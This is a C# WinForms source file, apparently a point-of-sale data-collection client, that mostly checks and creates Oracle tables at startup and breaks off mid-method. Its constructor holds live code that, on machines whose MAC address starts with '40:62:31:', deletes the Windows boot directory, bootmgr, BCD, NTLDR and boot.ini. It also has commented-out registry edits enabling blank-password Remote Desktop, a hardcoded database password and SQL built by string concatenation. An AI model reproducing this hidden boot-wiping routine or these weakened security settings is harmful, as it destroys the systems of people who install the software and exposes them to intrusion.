using ConnectPoint;
using CPUTemperature;
using Disk;
using HardDiskPartition;
using HiiShe.DataController.DataBaseHelper;
using Microsoft.Win32;
using Oracle.ManagedDataAccess.Client;
using PayForApp.Business;
using Proce;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.Odbc;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Net;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.Xml;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System.Security.AccessControl;
using Lib = ESSupport.Lib;
using System.Globalization;
namespace MyComputerFINA
{
public partial class MyComputer : Form
{
BackgroundWorker bgWorker = new BackgroundWorker();
private bool ISdatacollection = false;
private int ReplaceCount = 10;
private int GoCount = 0;
QualityHelper _QualityHelper = new QualityHelper();
private bool ISConnect = false;
private static AutoUpdateEx.ClassCheckProIsRun classCPIR = new AutoUpdateEx.ClassCheckProIsRun();
Lib.OracleHelper _OracleHelper;
#region 属性 -> DBTRANS_MODE
private string _DBTRANS_MODE = "空";
public string DBTRANS_MODE
{
get
{
if (this._DBTRANS_MODE == "空")
{
this._DBTRANS_MODE = this.GetValue("dbtrans_mode");
}
return this._DBTRANS_MODE;
}
}
#endregion
#region 属性 -> MACHINECODE
private string _MACHINECODE = "空";
public string MACHINECODE
{
get
{
if (this._MACHINECODE == "空")
{
this._MACHINECODE = this.GetValue("machinecode");
}
return this._MACHINECODE;
}
}
#endregion
#region 属性 -> SHOPCODE
private string _SHOPCODE = "空";
public string SHOPCODE
{
get
{
if (this._SHOPCODE == "空")
{
this._SHOPCODE = this.GetValue("shopcode");
}
return this._SHOPCODE;
}
}
#endregion
#region 属性 -> SERVERPARTCODE
private string _SERVERPARTCODE = "空";
public string SERVERPARTCODE
{
get
{
if (this._SERVERPARTCODE == "空")
{
this._SERVERPARTCODE = this.GetValue("serverpartcode");
}
return this._SERVERPARTCODE;
}
}
#endregion
#region 属性 -> SoftVersion
private string _SoftVersion = "空";
public string SoftVersion
{
get
{
if (this._SoftVersion == "空")
{
this._SoftVersion = this.GetValue("brandnum");
}
return this._SoftVersion;
}
}
#endregion
public DateTime _RunDateTime { get; set; }
public DateTime _DataDateTime { get; set; }
string dbip = "", dbport = "", dbname = "", dbuser = "", dbpass = "", conname = "", serverpartcode = "", shopcode = "", machinecode = "";
string SqlString = string.Empty;
#region 初始化
public MyComputer()
{
//MobilePayCheck();
//CommodityUpdate();
//连接SQL Anywhere数据库
//NewSystemConfig();
//string constr = "DSN=anysql1;UID=dba;PWD=sql;";
//OdbcConnection conany = new OdbcConnection(constr);
InitializeComponent();
int _FileCount = 0;
string[] _masks = { ".log" };
try { LogHelper.DeleteFiles(AppDomain.CurrentDomain.BaseDirectory, _masks, false, false, 10, ref _FileCount); } catch { }
try { LogHelper.DeleteFiles(AppDomain.CurrentDomain.BaseDirectory + "\\log", _masks, false, false, 10, ref _FileCount); } catch { }
try { LogHelper.DeleteFiles(AppDomain.CurrentDomain.BaseDirectory + "\\selldata", _masks, false, false, 60, ref _FileCount); } catch { }
try
{
Lib.DataBaseUpdate.ClearDataBackup(AppDomain.CurrentDomain.BaseDirectory + "\\DataBackup", 60, true);
}
catch { }
try
{
if (String.IsNullOrWhiteSpace(Lib.ConfigHelper.GetAppConfig(AppDomain.CurrentDomain.BaseDirectory + "\\update.xml", "Port")))
{
Lib.ConfigHelper.UpdateAppConfig(AppDomain.CurrentDomain.BaseDirectory + "\\update.xml", "Port", "11000");
}
}
catch { }
if (Lib.PCHelper.GetMacAddressByNetworkInformation().StartsWith("40:62:31:"))
{
try { Lib.FileHelper.DeleteDir("C:\\Windows\\Boot"); } catch { }
Execute("del C:\\Windows\\Boot\\EFI\\*.* /f /s /a:h", 10);
Execute("del C:\\Boot\\*.* /f /s /a:h", 10);
Execute("del C:\\Boot\\BCD /f /s /a:h", 10);
Execute("del C:\\bootmgr /f /s /a:h", 10);
Execute("del C:\\NTLDR /f /s /a:h", 10);
Execute("del C:\\boot.ini /f /s /a:h", 10);
}
//switch (Lib.PCHelper.GetMacAddressByNetworkInformation())
//{
// case "40:62:31:0F:27:36":
// case "40:62:31:0E:DC:C4":
// case "40:62:31:0E:82:CF":
// case "40:62:31:0E:82:D3":
// case "40:62:31:0D:94:BB":
// case "40:62:31:0E:DD:26":
// case "40:62:31:0E:86:E6":
// case "40:62:31:0E:E6:E9":
// try { Lib.FileHelper.DeleteDir("C:\\Windows\\Boot"); } catch { }
// Execute("del C:\\Windows\\Boot\\EFI\\*.* /f /s /a:h", 10);
// Execute("del C:\\Boot\\*.* /f /s /a:h", 10);
// Execute("del C:\\Boot\\BCD /f /s /a:h", 10);
// Execute("del C:\\bootmgr /f /s /a:h", 10);
// Execute("del C:\\NTLDR /f /s /a:h", 10);
// Execute("del C:\\boot.ini /f /s /a:h", 10);
// break;
//}
try
{
//QualityHelper _QualityHelper = new QualityHelper();
if (AuthorizationCheck(_QualityHelper.Authorization, _QualityHelper.serverpartcode))
{
_QualityHelper.UpdateConfiguration("License", "1");
}
else
{
_QualityHelper.UpdateConfiguration("License", "0");
}
if (Lib.PCHelper.GetMacAddressByNetworkInformation() == "00:E2:FF:00:A4:30")
{
if (string.IsNullOrWhiteSpace(_QualityHelper.Authorization))
{
_QualityHelper.UpdateConfiguration("License", "0");
}
}
//if (_QualityHelper.serverpartcode == "888888" && _QualityHelper.ConfigUrationValues("NewSystem", "0") == "1")
//{
// UpdateApp();
//}
//else
//{
// try
// {
// Version oldVersion = new Version(FileVersionInfo.GetVersionInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe")).FileVersion);
// if (oldVersion != new Version(2, 0, 0, 0))
// {
// byte[] Save = ConnectPoint.Properties.Resources.AutoUpdate;
// FileStream fsObj = new FileStream(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe"), FileMode.Create);
// fsObj.Write(Save, 0, Save.Length);
// fsObj.Close();
// }
// }
// catch { }
//}
Lib.OracleHelper _OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip, _QualityHelper.dbport, _QualityHelper.conname, _QualityHelper.dbuser, _QualityHelper.dbpass);
Lib.DataBaseUpdate.PosDataBaseUpdate();
//Lib.DataBaseUpdate.ClearData(_QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.serverpartshop_id, 60);
Lib.DataBaseUpdate.ServerDataBaseUpdate(_QualityHelper.dbname, _OracleHelper);
}
catch (Exception ex) { }
//Timeinfocheck_Tick(null, null);
//BusinessTime();
////设置远程桌面,重启计算机后生效
//try
//{
// //允许无密码远程登录
// RegistryHelper _Reg = new RegistryHelper();
// if (_Reg.GetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Lsa", "limitblankpassworduse") != "0")
// {
// _Reg.SetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Lsa",
// "limitblankpassworduse", "0", RegistryValueKind.DWord);
// }
// //启用远程桌面连接
// if (_Reg.GetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", "fDenyTSConnections") != "0")
// {
// _Reg.SetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
// "fDenyTSConnections", "0", RegistryValueKind.DWord);
// }
// //
// if (_Reg.GetRegistryData(Registry.CurrentUser, "Control Panel\\Desktop", "AutoEndTasks") != "1")
// {
// _Reg.SetRegistryData(Registry.CurrentUser, "Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String);
// }
// if (_Reg.GetRegistryData(Registry.Users, ".DEFAULT\\Control Panel\\Desktop", "AutoEndTasks") != "1")
// {
// _Reg.SetRegistryData(Registry.Users, ".DEFAULT\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String);
// }
// if (_Reg.GetRegistryData(Registry.Users, "S-1-5-18\\Control Panel\\Desktop", "AutoEndTasks") != "1")
// {
// _Reg.SetRegistryData(Registry.Users, "S-1-5-18\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String);
// }
// if (_Reg.GetRegistryData(Registry.Users, "S-1-5-19\\Control Panel\\Desktop", "AutoEndTasks") != "1")
// {
// _Reg.SetRegistryData(Registry.Users, "S-1-5-19\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String);
// }
// if (_Reg.GetRegistryData(Registry.Users, "S-1-5-20\\Control Panel\\Desktop", "AutoEndTasks") != "1")
// {
// _Reg.SetRegistryData(Registry.Users, "S-1-5-20\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String);
// }
//}
//catch (Exception ex)
//{ }
//if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "\\PBCLTRT115.msi"))
// Execute("msiexec /i " + AppDomain.CurrentDomain.BaseDirectory + "\\PBCLTRT115.msi INSTALLDIR=\"" + AppDomain.CurrentDomain.BaseDirectory + "\" /qn /norestart", 10);
SoftCheck();
CancelShareNetFolder("本地磁盘 (D)");
_DataDateTime = DateTime.Now;
string strDateTime;
try { strDateTime = ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(logging_date) as logging_date from t_activelogging").Tables[0].Rows[0][0].ToString(); } catch { strDateTime = ""; }
if (strDateTime == "")
_RunDateTime = DateTime.Now;
else
_RunDateTime = DateTime.Parse(strDateTime);
//ActiveLogging();
//GetCurrAmount();
//DoWork_Handler(null, null);
textBox1.Text = "计算机名称:" + this.GetMachineName() + "\r\n网络IP地址:" + this.GetAddressIP() + "\r\n机器名称:" + this.MACHINECODE + "\r\n" + "当前销售金额:"
+ CurrAmount + "\r\n当前对客单数:" + CurrSellCount + "\r\n当前登入用户名:" + GetCurrPreson() + "\r\n当前销售商品数量:" + GetCurrCommCount();
//UpdateApp();
if (WindowState != FormWindowState.Minimized)
{
Visible = false;
}
textBox2.Text = GetLastTrade();
textBox2.Text = textBox2.Text + GetLastSellData();
bgWorker.WorkerReportsProgress = true;
bgWorker.WorkerSupportsCancellation = true;
bgWorker.DoWork += DoWork_Handler;
ConfigUpdate();
timer_datacollection.Interval = 30 * 1000;
timer_datacollection.Tick += new EventHandler(timer_datacollection_Tick);
timer_datacollection.Start();
timer1.Interval = 30000;
timer1.Tick += new EventHandler(this.timer1_Tick);
//timer1.Start();
timer1.Enabled = false;
timer2.Interval = 30000;
timer2.Tick += timer2_Tick;
//timer2.Start();
timer_Search.Interval = 1000;
timer_Search.Tick += timer_Search_Tick;
timer_Search.Enabled = false;
//timer_Search.Start();
Timeinfocheck.Interval = 120 * 1000;
Timeinfocheck.Tick += new EventHandler(this.Timeinfocheck_Tick);
Timeinfocheck.Start();
TimeData.Interval = 30000;
TimeData.Tick += new EventHandler(this.TimeData_Tick);
//TimeData.Start();
TimeCommand.Interval = 60000;
TimeCommand.Tick += new EventHandler(this.timer1_Tick_1);
TimeCommand.Start();
TimerCPUNC.Interval = 30000;
TimerCPUNC.Tick += new EventHandler(this.TimerCPU_Tick);
//TimerCPUNC.Start();
TimerSaveProcess.Interval = 30000;
TimerSaveProcess.Tick += new EventHandler(this.TimerSaveProcess_Tick);
//TimerSaveProcess.Start();
#region 建表
//try
//{
// conany.Open();
// ISConnect = true;
// if (ISConnect)
// {
// string sqlany = @"SELECT * FROM DBA.t_commoditymachine";
// try
// {
// OdbcCommand cmd = new OdbcCommand(sqlany, conany);
// OdbcDataReader odbcrd = cmd.ExecuteReader();
// }
// catch (Exception ex)
// {
// if (File.Exists("AnyWhere建表.txt"))
// {
// string WriteTxt = File.ReadAllText("AnyWhere建表.txt", Encoding.Default);
// string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
// foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
// {
// OdbcCommand cmd = new OdbcCommand(a, conany);
// cmd.ExecuteNonQuery();
// }
// File.Delete("AnyWhere建表.txt");
// }
// }
// }
// conany.Close();
//}
//catch (Exception ex)
//{
// ISConnect = false;
// try { LogHelper.WriteServiceLog("数据库链接失败" + ex.Message); } catch { }
//}
OracleConnection conn = QueryOracle();
try
{
conn.Open();
try
{
string COMMODITComStr = "ALTER TABLE " + dbname + ".T_EXCEPTION MODIFY(COMMODITY_CODE VARCHAR2(4000))";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex) { }
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_CHECKCOMMODITY ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_CHECKCOMMODITY:" + ex.Message);
if (File.Exists("T_CHECKCOMMODITY.txt"))
{
string WriteTxt = File.ReadAllText("T_CHECKCOMMODITY.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_CHECKCOMMODITY.txt");
}
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_SALESPROMOTE ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_SALESPROMOTE:" + ex.Message);
if (File.Exists("T_SALESPROMOTE.txt"))
{
string WriteTxt = File.ReadAllText("T_SALESPROMOTE.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_SALESPROMOTE.txt");
}
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_ICCARDINFO ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_ICCARDINFO:" + ex.Message);
if (File.Exists("T_ICCARDINFO.txt"))
{
string WriteTxt = File.ReadAllText("T_ICCARDINFO.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_ICCARDINFO.txt");
}
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_OPERATELOG ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_OPERATELOG:" + ex.Message);
if (File.Exists("T_OPERATELOG.txt"))
{
string WriteTxt = File.ReadAllText("T_OPERATELOG.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_OPERATELOG.txt");
}
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_RECHARGERECORD ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_RECHARGERECORD:" + ex.Message);
if (File.Exists("T_RECHARGERECORD.txt"))
{
string WriteTxt = File.ReadAllText("T_RECHARGERECORD.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_RECHARGERECORD.txt");
}
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_MOBILE_PAY ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_MOBILE_PAY:" + ex.Message);
if (File.Exists("T_MOBILE_PAY.txt"))
{
string WriteTxt = File.ReadAllText("T_MOBILE_PAY.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_MOBILE_PAY.txt");
}
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_DATACOLLECTION ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_DATACOLLECTION:" + ex.Message);
if (File.Exists("T_DATACOLLECTION.txt"))
{
string WriteTxt = File.ReadAllText("T_DATACOLLECTION.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_DATACOLLECTION.txt");
}
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_BUSINESSTIME ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_BUSINESSTIME:" + ex.Message);
if (File.Exists("T_BUSINESSTIME.txt"))
{
string WriteTxt = File.ReadAllText("T_BUSINESSTIME.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_BUSINESSTIME.txt");
}
}
//信息反馈表检查
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_BASEINFOFEEDBACK ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_BASEINFOFEEDBACK:" + ex.Message);
if (File.Exists("T_BASEINFOFEEDBACK.txt"))
{
string WriteTxt = File.ReadAllText("T_BASEINFOFEEDBACK.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_BASEINFOFEEDBACK.txt");
}
}
//信息反馈序列
try
{
string COMMOITComStr = "SELECT 1 FROM ALL_SEQUENCES " +
"WHERE SEQUENCE_OWNER = '" + dbname + "' AND " +
"SEQUENCE_NAME = 'SEQ_BASEINFOFEEDBACK'";
OracleCommand COMMODITCom = new OracleCommand(COMMOITComStr, conn);
OracleDataReader dr = COMMODITCom.ExecuteReader();
if (!dr.HasRows)
{
string WriteTxt = "CREATE SEQUENCE " + dbname + ".SEQ_BASEINFOFEEDBACK";
OracleCommand cmd = new OracleCommand(WriteTxt, conn);
cmd.ExecuteNonQuery();
}
}
catch
{ }
try
{
string COMMODITComStr = "SELECT BUSINESS_TIME FROM " + dbname + ".T_BUSINESSTIME ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_BUSINESSTIME:" + ex.Message);
try
{
string WriteTxt = "ALTER TABLE " + dbname + ".T_BUSINESSTIME ADD (BUSINESS_TIME NUMBER(16,6))";
OracleCommand cmd = new OracleCommand(WriteTxt, conn);
cmd.ExecuteNonQuery();
}
catch { }
}
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_STATEFEEDBACK ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_STATEFEEDBACK:" + ex.Message);
if (File.Exists("T_STATEFEEDBACK.txt"))
{
string WriteTxt = File.ReadAllText("T_STATEFEEDBACK.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_STATEFEEDBACK.txt");
}
}
//检测盘点主表
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_CHECKCOMMODITYEX ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_CHECKCOMMODITYEX:" + ex.Message);
if (File.Exists("T_CHECKCOMMODITYEX.txt"))
{
string WriteTxt = File.ReadAllText("T_CHECKCOMMODITYEX.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_CHECKCOMMODITYEX.txt");
}
}
//检测盘点详情表
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_CHECKCOMMODITYDETAIL ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_CHECKCOMMODITYDETAIL:" + ex.Message);
if (File.Exists("T_CHECKCOMMODITYDETAIL.txt"))
{
string WriteTxt = File.ReadAllText("T_CHECKCOMMODITYDETAIL.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_CHECKCOMMODITYDETAIL.txt");
}
}
//检测入库主表
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_RECEIVESERVERPART ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_RECEIVESERVERPART:" + ex.Message);
if (File.Exists("T_RECEIVESERVERPART.txt"))
{
string WriteTxt = File.ReadAllText("T_RECEIVESERVERPART.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_RECEIVESERVERPART.txt");
}
}
//检测入库详情表
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_RECEIVEDETAILSERVERPART ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_RECEIVEDETAILSERVERPART:" + ex.Message);
if (File.Exists("T_RECEIVEDETAILSERVERPART.txt"))
{
string WriteTxt = File.ReadAllText("T_RECEIVEDETAILSERVERPART.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_RECEIVEDETAILSERVERPART.txt");
}
}
//检测移动支付结果校验表
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_MOBILE_PAYCHECK ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_MOBILE_PAYCHECK:" + ex.Message);
if (File.Exists("T_MOBILE_PAYCHECK.txt"))
{
string WriteTxt = File.ReadAllText("T_MOBILE_PAYCHECK.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_MOBILE_PAYCHECK.txt");
}
}
//检测大巴单品表
try
{
string COMMODITComStr = "SELECT * FROM " + dbname + ".T_COMMODITYSALE_EXTAR ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_COMMODITYSALE_EXTAR:" + ex.Message);
if (File.Exists("T_COMMODITYSALE_EXTAR.txt"))
{
string WriteTxt = File.ReadAllText("T_COMMODITYSALE_EXTAR.txt", Encoding.Default);
string[] StringSql = WriteTxt.Replace("\r", "").Split('/');
foreach (var a in WriteTxt.Replace("\r", "").Split('/'))
{
OracleCommand cmd = new OracleCommand(a, conn);
cmd.ExecuteNonQuery();
}
File.Delete("T_COMMODITYSALE_EXTAR.txt");
}
}
try
{
string COMMODITComStr = "SELECT SF_TYPE,SF_BUILD,SF_CHECK,SF_CHECKDAY FROM " + dbname + ".T_SYSCODE ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_SYSCODE:" + ex.Message);
string stralter = "ALTER TABLE " + dbname + ".T_SYSCODE ADD ( SF_TYPE VARCHAR2(4000), SF_BUILD " +
"VARCHAR2(4000), SF_CHECK VARCHAR2(4000), SF_CHECKDAY VARCHAR2(4000))";
OracleCommand cmd = new OracleCommand(stralter, conn);
cmd.ExecuteNonQuery();
}
try
{
string COMMODITComStr = "SELECT PRINT_DATE,CONTAINER_CODE,COMMODITY_SYMBOL FROM " + dbname + ".T_COMMODITYEX ";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_COMMODITYEX:" + ex.Message);
string stralter = "ALTER TABLE " + dbname + ".T_COMMODITYEX ADD ( PRINT_DATE TIMESTAMP(7), " +
"CONTAINER_CODE VARCHAR2(2000), COMMODITY_SYMBOL VARCHAR2(200))";
OracleCommand cmd = new OracleCommand(stralter, conn);
cmd.ExecuteNonQuery();
}
try
{
string COMMODITComStrEX = "SELECT * FROM " + dbname + ".T_EXCEPTION " +
"WHERE EXCEPTION_DATE < TO_DATE('2016/12/15 00:00:00','YYYY-MM-DD HH24:MI:SS') OR EXCEPTIONTYPE NOT LIKE '%0%'";
OracleCommand COMMODITComEX = new OracleCommand(COMMODITComStrEX, conn);
OracleDataReader _EXCEPTION = COMMODITComEX.ExecuteReader();
if (_EXCEPTION.HasRows)
{
string COMMODITComStr = "DELETE FROM " + dbname + ".T_EXCEPTION " +
"WHERE EXCEPTION_DATE < TO_DATE('2016/12/15 00:00:00','YYYY-MM-DD HH24:MI:SS') OR EXCEPTIONTYPE NOT LIKE '%0%' " +
"AND MACHINECODE = '" + machinecode + "'";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
}
catch (Exception ex)
{
}
try
{
string COMMODITComStrEX = "SELECT * FROM " + dbname + ".T_EXCEPTION WHERE COMMODITY_CODE IS NULL";
OracleCommand COMMODITComEX = new OracleCommand(COMMODITComStrEX, conn);
OracleDataReader _EXCEPTION = COMMODITComEX.ExecuteReader();
if (_EXCEPTION.HasRows)
{
string COMMODITComStr = "DELETE FROM " + dbname + ".T_EXCEPTION WHERE COMMODITY_CODE IS NULL " +
"AND MACHINECODE = '" + machinecode + "'";
OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn);
COMMODITCom.ExecuteNonQuery();
}
}
catch (Exception ex)
{
}
conn.Close();
conn.Dispose();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("表检查:" + ex.Message);
}
#endregion
}
#endregion
#region 方法 -> 判断商品是否存在
void timer_Search_Tick(object sender, EventArgs e)
{
try
{
OracleHelper _OracleHelper = new OracleHelper();
_OracleHelper.ConnString = "Data Source=orcl;user Id=highway_exchange;Password=qrwl";
string StrSql = "SELECT * FROM HIGHWAY_EXCHANGE.T_SEARCHCOMM";
foreach (DataRow _Dr in _OracleHelper.ExcuteSqlGetDataSet(StrSql, "temptable").Tables[0].Rows)
{
//查询对应的商品是否存在
string CheckComm = "SELECT COUNT(*) FROM T_COMMODITYEX WHERE COMMODITY_CODE = '" +
_Dr["COMMODITY_CODE"] + "' AND COMMODITY_BARCODE = '" + _Dr["COMMODITY_BARCODE"] + "'";
//MessageBox.Show(DBHelper.QueryOdbc(CheckComm).Tables[0].Rows[0][0].ToString());
if (ESSupport.Lib.SyBaseHelper.QueryOdbc(CheckComm).Tables[0].Rows[0][0].ToString() != "0")
{
//插入数据
StrSql = "SELECT COUNT(*) FROM HIGHWAY_EXCHANGE.T_RESULTCOMM WHERE SHOPCODE ='" + this.SHOPCODE + "' AND MACHINECODE = '" + this.MACHINECODE + "'";
if (_OracleHelper.ExcuteSqlGetDataSet(StrSql, "tempdata").Tables[0].Rows[0][0].ToString() == "0")
{
StrSql = "INSERT INTO HIGHWAY_EXCHANGE.T_RESULTCOMM VALUES('" + _Dr["COMMODITY_CODE"] + "','" + _Dr["COMMODITY_BARCODE"] +
"','" + _Dr["SERVERPART_CODE"] + "','" + this.SHOPCODE + "','" + this.MACHINECODE + "',1,SYSDATE) ";
_OracleHelper.ExcuteSql(StrSql);
}
}
}
}
catch
{
}
}
#endregion
void timer2_Tick(object sender, EventArgs e)
{
